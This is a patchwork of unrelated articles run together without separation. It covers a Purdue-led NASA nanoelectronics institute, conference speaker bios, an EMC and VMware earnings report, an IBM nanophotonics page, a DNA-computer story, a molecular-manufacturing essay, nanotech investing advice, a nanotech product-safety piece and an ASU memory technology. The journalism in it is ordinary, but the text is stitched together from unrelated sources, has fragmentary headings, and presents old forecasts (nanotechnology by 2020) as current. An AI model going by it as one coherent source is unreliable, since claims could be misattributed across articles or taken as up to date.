NASA, Purdue launch center to create next-generation computers

WEST LAFAYETTE, Ind. – Future NASA spacecraft will need to think for themselves.

To help create the brains for these ships – a new generation of compact, high-performance computers – scientists, engineers and officials from state and federal agencies met today (Wednesday, 1/15) at Purdue University. Their mission: to kick off a new NASA Institute for Nanoelectronics and Computing, a collaboration of six universities led by Purdue.
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"Innovative technologies developed under the auspices of the institute will benefit the U.S. space program for decades to come," said Purdue President Martin C. Jischke. "The research also will benefit Indiana and society in general through possible technology spinoffs, and it will provide learning opportunities for our best students, who represent the coming generation of scientists and engineers."

Researchers will hold a series of meetings about the institute during three days of talks that began with a luncheon from 11:30 a.m. to 1 p.m. today in the Purdue Memorial Union North Ballroom. The luncheon was organized to formally announce the new institute, and researchers also will be discussing another new federally funded nanotechnology effort during the meetings, which will continue until 12:30 p.m. Friday (1/17).

The institute will receive $15 million from the National Aeronautics and Space Administration – $3 million annually over five years – and $2 million over five years from the Indiana 21st Century Research and Technology Fund. The fund, established by the state to promote high-tech research and development and to help commercialize university research, provided critical funding for an earlier center at Purdue that set the stage for the NASA institute and other nanotechnology efforts.

"The team based at Purdue will be looking at several novel, unconventional technologies," said Meyya Meyyappan, director of the Center for Nanotechnology at the NASA Ames Research Center, in Moffett Field, Calif. "These technologies will have applications for military and commercial systems as well."

The institute will be headquartered at Purdue's Birck Nanotechnology Center, one of four centers that will be part of the university's recently created Discovery Park. The park will be a complex of facilities that use a multidisciplinary approach to develop new technologies.

Future computers will make spacecraft more autonomous so they can better function in remote regions of space without the need for human intervention, said Supriyo Datta, director of the institute and Purdue's Thomas Duncan Distinguished Professor of Electrical and Computer Engineering.

"The research will focus on improving the electronics for NASA space missions, which require lots of computation, sensing, data collection, storage and communication," Datta said. "The system has to be able to respond to unexpected circumstances.

"You don't know what you are going to encounter on a space mission."


The brains of these future spacecraft will be miniature supercomputers.

"For all decisions to be made right at the spacecraft, instead of at mission control here on Earth, requires enormous computing power, orders of magnitude more than what we have today," Meyyappan said. "These computers will have to come in small packages because you can't haul a bunch of mainframes into space."

Purdue will work with researchers at Northwestern, Cornell and Yale universities, the University of Florida and the University of California at San Diego.

Industry may soon be able to fit more than 1 billion transistors on a computer chip about 2 centimeters square. Current chips contain about 350 million transistors. The feat of cramming more and more transistors onto a chip is largely accomplished by shrinking critical components in the transistors, electrodes known as gates. Gate lengths soon will be shrunk to about 10 nanometers, compared to about 65 nanometers for gate lengths in conventional transistors.

One nanometer is about the length of 10 atoms strung together.

The 10-nanometer milestone, however, may represent the limit to how small transistors can be made. For various reasons, it will no longer be economically practical to shrink transistors any smaller or to fit more transistors onto a silicon chip.

"That means the only way to make progress after that is to start using the third dimension, to start stacking layers on top of each other," said Mark Lundstrom, Purdue's Scifres Distinguished Professor of Electrical and Computer Engineering, whose work includes research in nanotechnology.

The first layer of these three-dimensional chips will be similar to today's chips but will probably contain between 1 to 10 billion transistors.

"The bottom layer will generally perform the same functions performed by digital equipment – things like digital processing in your computer or digital signal processing in your wireless phone," Datta said. "The layers on the top of that first layer will probably add different kinds of capabilities."

These new capabilities may include "ultradense memory" many times greater than the memory in current chips, sensors and pattern-recognition devices for artificial intelligence functions such as navigation, image analysis and the search for living organisms in space.

Perhaps these additional layers will contain innovative devices made not out of silicon but out of organic molecules, such as proteins or exotic structures called carbon nanotubes, Datta said.

The first, more conventional silicon layer may serve as a template on which to "grow" subsequent layers that may "self-assemble," similar to the growth of structures in living organisms. In this case, devices would eventually be fabricated using techniques based on chemical attractions, rather than the complex processes now used to etch electronic circuits. Producing smaller and smaller silicon devices will increase manufacturing costs, but self-assembly would make electronics processing far less expensive than the future, projected costs of conventional processing.

"With silicon technology, you basically carve tiny structures out of a piece of silicon," Lundstrom said. "The hope is that you could self-assemble the complex structures inside future chips much more efficiently, and at less expense than is possible with current chip-processing methods."

Future chips will operate much faster than conventional chips. At the same time, the chips will have to consume far less electricity than conventional circuits – perhaps needing only one-tenth the power of today's computers, making it possible to build super-powerful computers that don't use as much electricity as present-day supercomputers. The low-power computers also will need to have novel designs that produce less heat than their conventional counterparts.

"Heat is a critical problem," Datta said. "If each transistor generates a nanowatt of power and you put billions of them in this small volume, it will heat up too much and essentially destroy the chip."

The institute is one of seven new University Research, Engineering and Technology Institutes created by NASA and the U.S. Department of Defense.

Lundstrom is leading another new nanotechnology center at Purdue, the Network for Computational Nanotechnology, which also is being kicked off during the three days of talks at Purdue. That center is a group of seven universities: Purdue, the University of Illinois, the University of Florida, Northwestern University, Stanford University, Morgan State University and the University of Texas, El Paso. Funded with a five-year, $10.5 million grant from the National Science Foundation, the center will develop and use computer simulations needed to design devices for a wide range of applications in nanotechnology.

"These two federally funded centers complement each other," Lundstrom said. "They address similar problems, but the NASA institute focuses on experimental work and the NSF network focuses on theory and computation."

Both the NASA institute and the NSF center will be based at Discovery Park, which will contain four major facilities: the Birck Nanotechnology Center, the Bindley Bioscience Center, the Burton D. Morgan Center for Entrepreneurship and an e-enterprise center.

"The early success of Discovery Park has been very impressive," said Charles O. Rutledge, the park's executive director and interim vice provost for research.

Since plans for the park were first announced in September 2001 it has attracted $48.7 million in research funding from state, federal and private sources. In addition to that funding, the Lilly Endowment has given nearly $26 million toward start-up costs, $2 million of which has recently been used to recruit 10 top scientists and engineers to work in the park, Rutledge said.

"This money has helped us attract the very best scientists and engineers," Rutledge said. "These are highly qualified people who will be faculty members and researchers within the Schools of Engineering and the School of Science, while also working at Discovery Park."

Work has begun on the construction site for the Burton D. Morgan Center for Entrepreneurship, which is expected to be completed in early 2004. The Birck Nanotechnology and Bindley Bioscience centers are expected to be completed in 2005, and the construction schedule for the e-enterprise center has not yet been determined.

The Birck center will contain laboratories designed specifically for research in nanotechnology, an emerging science in which new materials and tiny structures are built atom-by-atom or molecule-by-molecule. "Nano" is a prefix meaning one-billionth, so a nanometer is one-billionth of a meter.

Keynote Speaker 3

Engineering of Nanowire Heterostructures Harry E. RUDA
Energenius Professor of Advanced Nanotechnology Centre for Advanced Nanotechnology University of Toronto, Canada

Harry Ruda received the B.Sc. degree in materials physics with honors from Imperial College, London University, England, in 1979, and the Ph.D. degree from Massachusets Institute of Technology, Cambridge, Massachusets, USA, in 1982, for work on growth and characterization of HgCdTe for infrared detectors. Following these studies, he accepted an IBM postdoctoral fellowship to work on defect calculations in GaAs and transport in low dimensional GaAlAs-based quantum heterostructures. In 1984 he joined 3M where his work focused on theoretical optical and transport properties of wide bandgap II-VI semiconductors, principally ZnSe-based. In 1989, Dr. Ruda joined the University of Toronto and now holds the position of Full Professor. He currently is also the Energenius Advanced Nanotechnology chair holder, and director of the Energenius Centre for Advanced Nanotechnology.

Keynote Speaker 2

Nanotubes: Large-scale Production and their Practical Applications Endo MORINOBU
Professor Shinshu University, Japan

Dr. Morinobu Endo is Professor of Shinshu University. His current work ranges from basic science to applications of various forms of carbons; carbon nanotubes, new forms of carbon and graphite, nano-porous carbons,graphite intercalation compounds, Li ion battery, electric double layer capacitors. After receiving a M.S. degree from Shinshu University, he obtained a Ph.D. from Nagoya University. He is the present chairman of Japan Carbon Society, and he was one of the group chairmen of Industry-University Cooperative Research Committees, No.117 JSPS (Japanese Society for Promotion of Science). He also is one of the international advisory members of CARBON journal. He has been invited at many international conferences and symposium as a plenary lecturer/key-note speaker. In addition, he has joined many international conferences as a chairman, organizer and advisory board member.

Keynote Speakers

Field-Effect Transistor Theory (A Summary of Recent Advances) Chih-Tang SAH
Professor of Physics and Professor of Electrical Engineering Univesity of Florida, Gainesville, USA

Chih-Tang Sah received the BS degrees in Physics (1953) and in Electrical Engineering (1953) from the University of Illinois in Urbana-Champaign, and the MS (1954) and PhD (1956) degrees from Stanford. He apprenticed with Shockley (1956-1959) and joined Fairchild Semiconductor Corporation (1959-1964) where he helped hire, direct and manage the 64-member Fairchild Physics department which was responsible in the development of the first generation manufacturing technologies for volume production of silicon bipolar and MOS transistors and integrated circuits. He was appointed a professor of physics and a professor of electrical engineering at the University of Illinois in Urbana-Champaign (UIUC) for 25 years (1962-1988) and an Eminent Scholar and a Graduate Research Professor at the University of Florida (UFL) for 20 years (1988-2008) which is continuing. He wrote a three-volume textbook titled Fundamentals of Solid-State Electronics (1991 FSSE) , FSSE- Study Guide (1993) and FSSE- Solution Manual (1996), the latter included a 100-page exposition on Transistor Reliability. FSSE was translated into Chinese (2003). He was the Founding Editor (1991) of the International Series on the Advances in Solid State Electronics and Technology (ASSET) which published three titles by invited authors (1990's) and is currently publishing six monographs (2007-8) by invited authors on compact modeling of devices for computer-aided design of integrated circuits, all with the World Scientific Publication Company. He was named a world's 1000 most cited scientist during 1963 to 1978 by the Institute of Scientific Information. He is a Life Fellow of the IEEE, the American Physical Society and the Franklin Institute, and a Fellow of American Association of the Advancement of Science. Dr. Sah was appointed an Honorary Professor of Peking (2002), Tsinghua (2003) and Xiamen (2004) Universities of China and received the Doctorem Honoris Causa from the Katholiche Universteit de Leuven, Belgium (1975) and the Honorary Doctorate from Chiaotung University, Taiwan (2004). His semiconductor research and teaching contributions were recognized thrice by the IRE-IEEE: the Browder J. Thompson Prize (IRE-1962) for the best paper published by an author under thirty, and the IEEE J. J. Ebers (1981) and Jack Morton (1989) Awards; twice by the semiconductor industry, the co-recipient with Morris Chang the First Achievement Award in High Technology of the Asian-American Manufacturing Association in San Jose, California (1984), and the Fourth annual University Research Award of the Semiconductor Industry Association (1998). He was the co-recipient in integrated circuit technology, with Yung-Cheng Fung in bioengineering, of the first Pioneer Recognition Award of the Committee-of-100 (a Chinese-American-citizen organization). He was the second annual Distinguished Lifetime Achievement Award of the Asian-American Engineer of the Year sponsored by the Chinese Institute of Engineerings/USA (2003). Professor Sah was elected an Academician of the US National Academy of Engineering (1986), the Academia Sinica in Taipei (1998) and the Chinese Academy of Sciences in Beijing (2000). His current research has been on MOS transistor models in order to help further the development of compact models for computer aided design of nanometer MOS integrated circuits.

EMC Posts Earnings Jump, But VMware Disappoints

EMC beats Wall Street expectations with a 33 percent rise in earnings, but the storage technology company's euphora was short-lived as its VMware unit failed to meet the street's expectation despite an 80 percent rise in sales. EMC expects VMware to contribute to its earnings this year.

EMC posted robust earnings of $525.7 million for the fourth quarter -- a 33 percent rise over year-earlier results that beat Wall Street's expectations. Moreover, revenue increased by 19 percent to a record $3.83 billion.

Despite troubling signs of deteriorating U.S. economic conditions, EMC saw its revenue rise by a healthy 16 percent in North America, which represented 55 percent of the company's total revenue in the quarter. Even better, EMC's revenue growth from operations overseas increased by 23 percent, on average, in comparison with the year-ago quarter.

EMC Chief Executive Joe Tucci characterized all of 2007 as a breakout year for the company. "We exceeded all of the aggressive financial targets we set out to achieve at the beginning of the year," he said.

Caution Rules the Day

EMC's information-storage unit increased its fourth-quarter revenue by 14 percent to $3.03 billion due to strong customer demand for IP storage solutions and next-generation backup and recovery capabilities. Moreover, the company's content management and archiving unit grew revenue by 17 percent to $238 million, in comparison with year-earlier results. Additionally, EMC's revenue at its RSA information-security Relevant Products/Services unit grew by 30 percent year-over-year to $148 million.

Looking forward, CFO David Goulden said EMC has never been better positioned to continue to grow and gain market share. At the same time, however, Tucci admitted that the current economic climate is both "more challenging and more uncertain" than in 2007.

"We have not seen much on the downside, but moving forward, being cautious is the rule of the day," Tucci told analysts during a conference call.

Tucci expects IT spending growth to continue but "at a couple of points less than in 2007." On the bright side, Tucci noted that the key IT segments of information storage, content management and archiving, and information security are forecast to grow by 5, 8 and 16 percent, respectively, during 2008.

"EMC is well positioned in the areas where IT spending will grow the fastest this year," Tucci said. "And we are expanding our global presence with commercial customers in key emerging markets."

Tucci expects his company's 'One EMC' initiative "to interlock and drive more technology and product integrations across our information storage, content management and archiving, and RSA information security business units, making it much easier for our customers and partners to do business with EMC." He also predicted that flash drive technology will "revolutionize the storage industry over the next several years."

VMware Disappoints

Tucci credited EMC's highly successful partial IPO of VMware as one way that the company had met its key 2007 goals. Going forward, VMware's contribution to EMC's bottom line will continue, given that the parent holds 85 percent of the spin-off's shares.

Though VMware reported an 80 percent rise in sales to $412 million in the fourth quarter, the result failed to fulfill Wall Street's expectation of $417 million. Moreover, the entry of Microsoft Relevant Products/Services into the virtualization software arena later this year raises doubts about VMware's prospects in 2008. Industry analysts estimate that VMware accounted for about 13 percent of EMC's revenues last year.

"As others begin to enter the market, VMware and our partners are continuing to broaden and deepen our highly reliable end-to-end virtualization solutions," VMware CEO Diane Greene told investors during a conference call.

Meanwhile EMC intends to continue to focus on innovation and research and development. The effort is expected to enable the company "to tackle emerging customer priorities such as Web 2.0, virtualization, compliance and new online methods for purchasing and consuming software," Tucci said.

About this project


This exploratory project pushes the limits of current photonic technology.
The ultimate goal of this project is to develop a technology for on-chip integration of ultra-compact nanophotonic circuits for manipulating the light signals, similar to the way electrical signals are manipulated in computer chips.

Integration of optical devices at the chip scale is seen as key to significantly reducing the cost of optical components. Dense photonic integration therefore might enable the whole new area of optical interconnects to be economically viable at different length scales in the systems, between the boards, on the cards and may be eventually even on a computer chip.
The important part of this project is to design and test nanophotonic circuits, which can leverage IBM's expertise in microelectronic circuit fabrication. Eventually the development of the nanophotonic technology compatible with CMOS fabrication line could result in cheap mass production of densely integrated optoelectronic superchips comprising both photonic and electronic circuitry.


Futuristic silicon chip with monolithically integrated photonic and electronic circuits
This hypothetic chip performs all-optical routing of mutliple N optical channels each supporting 10Gbps data stream. N channels are first demultiplexed in WDM photonic circuit, then rearranged and switched in optical cross-connect OXC module, and multiplexed back into another fiber with new headers in WDM multiplexer. Data packets are buffered in optical delay line if necessary. Channels are monitored with integrated Ge photodetector PD. CMOS logical circuits (VLSI) monitor the performance. Electrical pads are connecting the optoelectronic chip to other chips on a board via electrical signals.


Silicon or more specifically silicon-on-insulator (SOI) is an attractive platform for photonic integration owing to its high refractive index that offers strong light confinement and therefore ultra-compact devices. On the other hand by adopting a substrate material that is CMOS compatible, decades of materials and process knowledge can be leveraged. Feasibly both passive and active optical elements could be combined with electronics on a single chip to achieve monolithic optoelectronic integration.

Nanotechnology & Nanoscience

Research Area

IBM's nanotechnology research aims to devise new atomic- and molecular-scale structures and devices for enhancing information technologies, as well as discover and understand their scientific foundations.

Leading the development of nanotechnology, IBM's scientists have made numerous breakthroughs in the study of these nano-scale technologies.

In particular, carbon nanotubes and scanning probes derived from the atomic force microscope -- cousin of the scanning tunneling microscope -- show particular promise in enabling dramatically improved circuits and data storage devices. Research on nanoparticles leads to applications in biomedicine as well as hard disk drive storage. Photonic bandgap materials -- on-chip nanoscale structures the size of a wavelength of light -- will manipulate light as optical waveguides, splitters and routers. Research into nanomechanical information storage, such as IBM's Millipede project, continues to increase the possibilities for increased areal storage density.

IBM's research into nano-scale structures that self-assemble may one day obviate the need to "hand-position" atoms. Nanotechnology will allow the design and control of the structure of an object on all length scales, from the atomic to the macroscopic enabling more efficient and vastly less expensive manufacturing processes and providing the hardware foundation for future information technology.

Nanotech: A Billion Computers In a Drop of Water

The development of the first 'programmable, two-state, two-symbol, finite automaton' could have enormous consequences.







Scientists at Israel's Weizmann Institute of Science, using DNA molecules, have created the world's first programmable biological computer -- so small that a billion of them can fit in a single drop of water.
These extraordinarily tiny machines are capable of performing billions of simple mathematical operations per second with a 99.8 percent degree of accuracy -- while using less than one billionth of a watt of power.

There is some question over whether or not the machines technically constitute "computers" -- and even if they do, they are extremely rudimentary. But the achievement is a major step toward a future in which computers can be worn on -- or even inside -- the human body.

"For instance, such a future computer could sense an abnormal biochemical change in the body and decide how to correct it by synthesizing and releasing the necessary drug," said Zvi Livneh, the Institute's resident DNA expert.

'Programmable Automatons'

Biological computers have been possible in theory for a long time in the field of nanotechnology, the study of incredibly small things that compute. The development by the Israelis of the first "programmable, two-state, two-symbol, finite automaton," even if it is not a computer in the sense we normally think of one, could have enormous consequences.

"It is a computer, but not a general purpose, universal computer," Ehud Shapiro, director of the research team at the Institute, told NewsFactor Network.

"What we implemented is the simplest possible nontrivial, finite automaton, which has only two states and an alphabet of two symbols. It can answer only simple questions," Shapiro said.

The first simple question the bio-computer solved was to determine whether or not a list of 0s and 1s had an even number of 1s. Since then, scientists at the Institute have created a total of 765 "software programs."

DNA's Limitless Potential

Though they are simple, the bio-computers can perform certain functions very quickly. For example, scientists said they might be able to speed up the time-consuming study of DNA by forming the basis of computers capable of screening DNA libraries in parallel, without sequencing each molecule as is required now.

DNA has vast memory capacity -- the trick is to exploit its nearly limitless potential.

"The living cell contains incredible molecular machines that manipulate information-encoding molecules such as DNA and RNA in ways that are fundamentally very similar to computation," Shapiro said.

"Since we don't know how to effectively modify these machines or create new ones just yet, the trick is to find naturally existing machines that, when combined, can be steered to actually compute," he added.

Molecular-Level Treatment

The bio-computer uses two naturally occurring enzymes that can manipulate DNA as its "hardware." The "software" and "hardware" molecules, when mixed in a solution, operate in harmony on what is known as the "input" molecule. What results is a simple mathematical computing machine known as a "finite automaton."

It then can be programmed to perform simple tasks by choosing different "software" molecules to be mixed in solution.

"Such machines might analyze natural DNA, human or otherwise, in the lab within a few years," Shapiro said. "The time when such machines can actually operate within the human body, programmed with medical knowledge so that they can effect some medical treatment at the molecular level, is at least a few decades away."

Nanotechnology:

products are made from rearranged atoms.


Introduction
Manufactured products are made from atoms. The properties of those products depend on how those atoms are arranged. If we rearrange the atoms in coal, we get diamonds. If we rearrange the atoms in sand (and add a pinch of impurities) we get computer chips. If we rearrange the atoms in dirt, water and air we get grass.

Since we first made stone tools and flint knives we have been arranging atoms in great thundering statistical herds by casting, milling, grinding, chipping and the like. We've gotten better at it: we can make more things at lower cost and greater precision than ever before. But at the molecular scale we're still making great ungainly heaps and untidy piles of atoms.

Nanotechnology is about rearranging atoms whichever way we want.






That's changing. In special cases we can already arrange atoms and molecules exactly as we want. Theoretical analyses make it clear we can do a lot more. Eventually, we should be able to arrange and rearrange atoms and molecules much as we might arrange LEGO blocks. In not too many decades we should have a manufacturing technology able to:
Build products with almost every atom in the right place.
Do so inexpensively.
Make most arrangements of atoms consistent with physical law.
Often called nanotechnology, molecular nanotechnology or molecular manufacturing, it will let us make most products lighter, stronger, smarter, cheaper, cleaner and more precise.

The technology allows us to work on a macroscopic scale.




The advantages of nanotechnology
One of the basic principles of nanotechnology is positional control. At the macroscopic scale, the idea that we can hold parts in our hands and assemble them by properly positioning them with respect to each other goes back to prehistory: we celebrate ourselves as the tool using species. Our wisdom and our knowledge would have done us scant good without an opposable thumb: we'd still be shivering in the bushes, unable to start a fire.

At the molecular scale, the idea of holding and positioning molecules is new and almost shocking. However, as long ago as 1959 Richard Feynman, the Nobel prize winning physicist, said that nothing in the laws of physics prevented us from arranging atoms the way we want: "...it is something, in principle, that can be done; but in practice, it has not been done because we are too big."1

Products could be much lighter, stronger, and more precise.




What would it mean if we could inexpensively make things with every atom in the right place?
For starters, we could continue the revolution in computer hardware right down to molecular gates and wires -- something that today's lithographic methods (used to make computer chips) could never hope to do.
We could inexpensively make very strong and very light materials: shatterproof diamond in precisely the shapes we want, by the ton, and over fifty times lighter than steel of the same strength.
We could make a Cadillac that weighed fifty kilograms, or a full-sized sofa you could pick up with one hand.
We could make surgical instruments of such precision and deftness that they could operate on the cells and even molecules from which we are made -- something well beyond today's medical technology.
The list goes on -- almost any manufactured product could be improved, often by orders of magnitude.


What will we be able to make?
Nanotechnology should let us make almost every manufactured product faster, lighter, stronger, smarter, safer and cleaner. We can already see many of the possibilities as these few examples illustrate. New products that solve new problems in new ways are more difficult to foresee, yet their impact is likely to be even greater. Could Edison have foreseen the computer, or Newton the communications satellite?

Lighter materials will make air and space travel more economical.






1. Improved transportation
Today, most airplanes are made from metal despite the fact that diamond has a strength-to-weight ratio over 50 times that of aerospace aluminum. Diamond is expensive, we can't make it in the shapes we want, and it shatters. Nanotechnology will let us inexpensively make shatterproof diamond (with a structure that might resemble diamond fibers) in exactly the shapes we want. This would let us make a Boeing 747 whose unloaded weight was 50 times lighter but just as strong.
Today, travel in space is very expensive and reserved for an elite few. Nanotechnology will dramatically reduce the costs and increase the capabilities of space ships and space flight.2 The strength-to-weight ratio and the cost of components are absolutely critical to the performance and economy of space ships: with nanotechnology, both of these parameters will be improved…3 Beyond inexpensively providing remarkably light and strong materials for space ships, nanotechnology will also provide extremely powerful computers with which to guide both those ships and a wide range of other activities in space.

Computers of the future will use atoms instead of chips for memory.





2. Atom computers
Today, computer chips are made using lithography -- literally, "stone writing." If the computer hardware revolution is to continue at its current pace, in a decade or so we'll have to move beyond lithography to some new post lithographic manufacturing technology. Ultimately, each logic element will be made from just a few atoms.
Designs for computer gates with less than 1,000 atoms have already been proposed -- but each atom in such a small device has to be in exactly the right place. To economically build and interconnect trillions upon trillions of such small and precise devices in a complex three dimensional pattern we'll need a manufacturing technology well beyond today's lithography: we'll need nanotechnology.
With it, we should be able to build mass storage devices that can store more than a hundred billion billion bytes in a volume the size of a sugar cube; RAM that can store a mere billion billion bytes in such a volume; and massively parallel computers of the same size that can deliver a billion billion instructions per second.

Weaponry can incorporate computer power but is this prudent?







3. Military applications
Today, "smart" weapons are fairly big -- we have the "smart bomb" but not the "smart bullet." In the future, even weapons as small as a single bullet could pack more computer power than the largest supercomputer in existence today, allowing them to perform real time image analysis of their surroundings and communicate with weapons tracking systems to acquire and navigate to targets with greater precision and control.
We'll also be able to build weapons both inexpensively and much more rapidly, at the same time taking full advantage of the remarkable materials properties of diamond. Rapid and inexpensive manufacture of great quantities of stronger more precise weapons guided by massively increased computational power will alter the way we fight wars. Changes of this magnitude could destabilize existing power structures in unpredictable ways. Military applications of nanotechnology raise a number of concerns that prudence suggests we begin to investigate before, rather than after, we develop this new technology.4

Solar energy can replace other resources. 4. Solar energy
Nanotechnology will cut costs both of the solar cells and the equipment needed to deploy them, making solar power economical. In this application we need not make new or technically superior solar cells: making inexpensively what we already know how to make expensively would move solar power into the mainstream.

Medicine can heal at the molecular or cellular level.
5. Medical uses
It is not modern medicine that does the healing, but the cells themselves: we are but onlookers. If we had surgical tools that were molecular both in their size and precision, we could develop a medical technology that for the first time would let us directly heal the injuries at the molecular and cellular level that are the root causes of disease and ill health. With the precision of drugs combined with the intelligent guidance of the surgeon's scalpel, we can expect a quantum leap in our medical capabilities.5

How long?

The single most frequently asked question about nanotechnology is: How long? How long before it will let us make molecular computers? How long before inexpensive solar cells let us use clean solar power instead of oil, coal, and nuclear fuel? How long before we can explore space at a reasonable cost?6
The scientifically correct answer is: I don't know.

Conclusion: Nanotechnology is prediced to be developed by 2020 but much depends on our commitment to its research.


From relays to vacuum tubes to transistors to integrated circuits to Very Large Scale Integrated circuits (VLSI) we have seen steady declines in the size and cost of logic elements and steady increases in their performance.7
Extrapolation of these trends suggests we will have to develop molecular manufacturing in the 2010 to 2020 time frame if we are to keep the computer hardware revolution on schedule.
Of course, extrapolating past trends is a philosophically debatable method of technology forecasting. While no fundamental law of nature prevents us from developing nanotechnology on this schedule (or even faster), there is equally no law that says this schedule will not slip.
Much worse, though, is that such trends imply that there is some ordained schedule -- that nanotechnology will appear regardless of what we do or don't do. Nothing could be further from the truth. How long it takes to develop this technology depends very much on what we do. If we pursue it systematically, it will happen sooner. If we ignore it, or simply hope that someone will stumble over it, it will take much longer. And by using theoretical, computational and experimental approaches together, we can reach the goal more quickly and reliably than by using any single approach alone.

While some advances are made through serendipitous accidents or a flash of insight, others require more work. It seems unlikely that a scientist would forget to turn off the Bunsen burner in his lab one afternoon and return to find he'd accidentally made a Space Shuttle.
Like the first human landing on the moon, the Manhattan project, or the development of the modern computer, the development of molecular manufacturing will require the coordinated efforts of many people for many years. How long will it take? A lot depends on when we start.

Let's Get Really Small

Few new technologies seem to generate as many headlines these days as nanotechnology, the field of building things at scales of billionths of a meter.

Major breakthroughs are coming at a torrid pace. Earlier this month, researchers in Texas and Australia reported success on an experiment to build carbon nanotube sheets they believe could be of use in the technology industry. Meanwhile, scientists in San Diego and South Carolina developed nano-scale structures that can function as electrical switches.



Future StockThe good news for potential first-time nanotech investors isn't limited to the labs. Nanotechnology has been a big disappointment in the market, so far at least, so the price of admission to this high-risk but intriguing sector is relatively low right now.

An index of nanotechnology stocks launched by Merrill Lynch last spring has shed about a quarter of its value in the past 10 months. Initial public offerings also have fared poorly. A much-anticipated offering from Nanosys, a Silicon Valley firm with a large portfolio of nano-related patents, didn't make it to market as planned last summer.

It may seem counterintuitive, but the lackluster market conditions may be a good thing for investors who haven't already sunk a lot of money into nanotech. After all, the worst time to buy a stock is at its peak, and current valuations aren't consistent with a market top.

So, if the fear of nano-sizing your wallet hasn't already put you off, take a look at this short guide that will show you where to look and what to watch for when choosing nanotech investments:

Separate science from science fiction.

Forget futuristic visions of a world run by self-replicating "nanobots" that do our every bidding. Real-world companies are for now involved primarily in developing novel materials, such as coatings, that can be used in industrial and consumer products. These types of products are most likely to make it to market in the short run.

"The concept of self-replicating molecular machines is science fiction," said Darrell Brookstein, an investment adviser and author of the book Nanotech Fortunes. "It's not a matter of waiting 30 years to develop them. They're never going to develop."

One area to watch in particular is photoactive plastics, nanoscale material capable of generating an electrical charge from light, said Matthew Nordan, vice president of research at nanotech consulting firm Lux Research. One prototype plastic, developed by Massachusetts startup Konarka, is under evaluation by Nokia (NOK) to recharge handsets, Nordan said.

Look to the long term.

Research-intensive fields such as nano-electronics will take years or even decades to evolve into commercial products and profits.

Tom Theis, director of physical sciences at IBM research, estimates that the typical time lag from lab discovery to commercial deployment is 10 to 15 years for hardware. By way of example, he cites the discovery in the late 1980s of a phenomenon called the Giant Magnetoresistive Effect, or GMR, in which scientists saw large resistance changes in materials comprised of thin layers of various metallic elements. It took 10 years for IBM to incorporate GMR into hard drives for desktop computers.

Is Nano the New Turbo?

A little bad PR can go a long way toward destroying the public's confidence in a product, especially when it comes to potential damage to human health -- just ask Monsanto. Whether it was fair, GMO became a dirty word, and if the nanotech industry isn't careful its products could suffer the same fate.

A study released by Lux Research in late June advised companies with nanotech offerings to be alert not only to real risks, but also to perceived risks that could undermine consumer acceptance of their products, even if they pose no actual danger.

It might not even matter if products actually contain nanotechnology. In April, Kleinmann GmbH in Germany recalled its Magic Nano products after dozens of users reported breathing problems following contact with the aerosol form of the household glass-and-ceramic tile sealant. The irony is the product in question contains no nano ingredient (the company won't reveal exactly what's in Magic Nano). But it won't matter to consumers.

"If something bad happens to an item that has 'nano' in its name, attention will immediately focus on that," says Craig Martin, executive vice president of Feinstein Kean Healthcare, a strategic communications firm based in Boston. "That's what the Magic Nano incident has shown us."

Nano seems to have survived the incident with its hip status intact. Perhaps "nano" is the new turbo. Nevertheless, the Magic Nano incident was a wake-up call for industry, says David Rejeski, director of the Project on Emerging Nanotechnologies at the Woodrow Wilson International Center for Scholars in Washington, D.C. The government hasn't yet established guidelines for testing nanotech products' safety, and that could lead to problems, which some activist groups are quick to point out.

"The scary part of it is that if we were to demand that nano products be tested for health and safety prior to release, we're not even sure how to do the tests," Rejeski says.

He points out, for example, that there have been a handful of studies on the effects of buckyballs on the lungs of lab animals, but no prominent studies have been done on how such nano-materials interact with the gastro-intestinal tract.

While some companies rush to put "nano" in their product's name even if it does not scientifically deserve the moniker (the Wilson Center keeps a database of products that have a reasonable claim to using nano-engineering, which is now more than 200 items large), others, like Dupont, are taking a more methodical approach.

This summer, Dupont unveiled its Framework for Responsible Nanotechnology, a set of standards and practices for testing nano-products for health and environmental hazards before releasing them commercially. It's a surprising move from a company not exactly synonymous with public health and environmental stewardship. The framework is also unique in that it was drawn up in coordination with Environmental Defense, an non-governmental environmental rights organization.

While Environmental Defense has received flak from other green groups for its partnership with Dupont, it can point to a considerable achievement -- the first public set of standards for how to ensure the safety of nano-engineered products.

"We’re a science-based organization and we want to help anybody that's going to use science to keep this technology safe," says Scott Walsh, a project manager with Environmental Defense's corporate partnerships department. The framework can serve as a template for other corporations that want to follow Dupont’s lead, he said. "We could even see it serving as a format upon which government regulation in this area can be based."

Self regulation could also have its down sides, Walsh says. "We might end up with a situation where companies that are acting responsibly, like Dupont, are at a competitive disadvantage to less scrupulous companies which launch products without any safety testing," Walsh says. "If that’s what happens, government regulation might become a more reasonable approach than voluntary standards."

Strict workplace safety standards and environmental monitoring are crucial for nanotechnology manufacturers and laboratories, said University of Michigan professor of toxicology Martin Philbert.

"If there is a problem, the first place it will show up will be among the technicians and dishwashers in some research lab," he said. But so far no national debate has addressed creating regulations to protect workers.

If Congress and the White House aren't paying attention yet, some of the federal bureaucracies are starting to prick up their ears. The Food and Drug Administration announced in May that it will hold a public meeting in the fall to solicit opinions for nanotechnology products regulation. But that’s just the tip of what needs to be done, says Rejeski.

"So far all we've seen from nanotechnology are better tennis rackets and nice pants," he said. "That’s about to change. This stuff will be in our drugs, our food, our cosmetics and everything else. It's better to plan now for how to deal with it than wait another five years."

Terabyte Thumb Drives Made Possible by Nanotech Memory

Researchers have developed a low-cost, low-power computer memory that could put terabyte-sized thumb drives in consumers' pockets within a few years.

Thanks to a new technique for manipulating charged copper particles at the molecular scale, researchers at Arizona State University say their memory is, bit-for-bit, one-tenth the cost of -- and 1,000 times as energy-efficient as -- flash memory, the predominant memory technology in iPhones and other mobile devices.

"A thumb drive using our memory could store a terabyte of information," says Michael Kozicki, director of ASU's Center for Applied Nanoionics, which developed the technology. "All the current limitations in portable electronic storage could go away. You could record video of every event in your life and store it."

The new memory technology -- programmable metallization cell (PMC) -- comes as current storage technologies are starting to reach their physical limits. At the tiny scale envisioned for new devices, flash memory becomes unstable. The physical limits of flash are already being approached, and could be reached in the near future, which could slow product development for portable device makers like Apple and Sandisk.

PMC memory stores information in a fundamentally different way from flash. Instead of storing bits as an electronic charge, the technology creates nanowires from copper atoms the size of a virus to record binary ones and zeros.

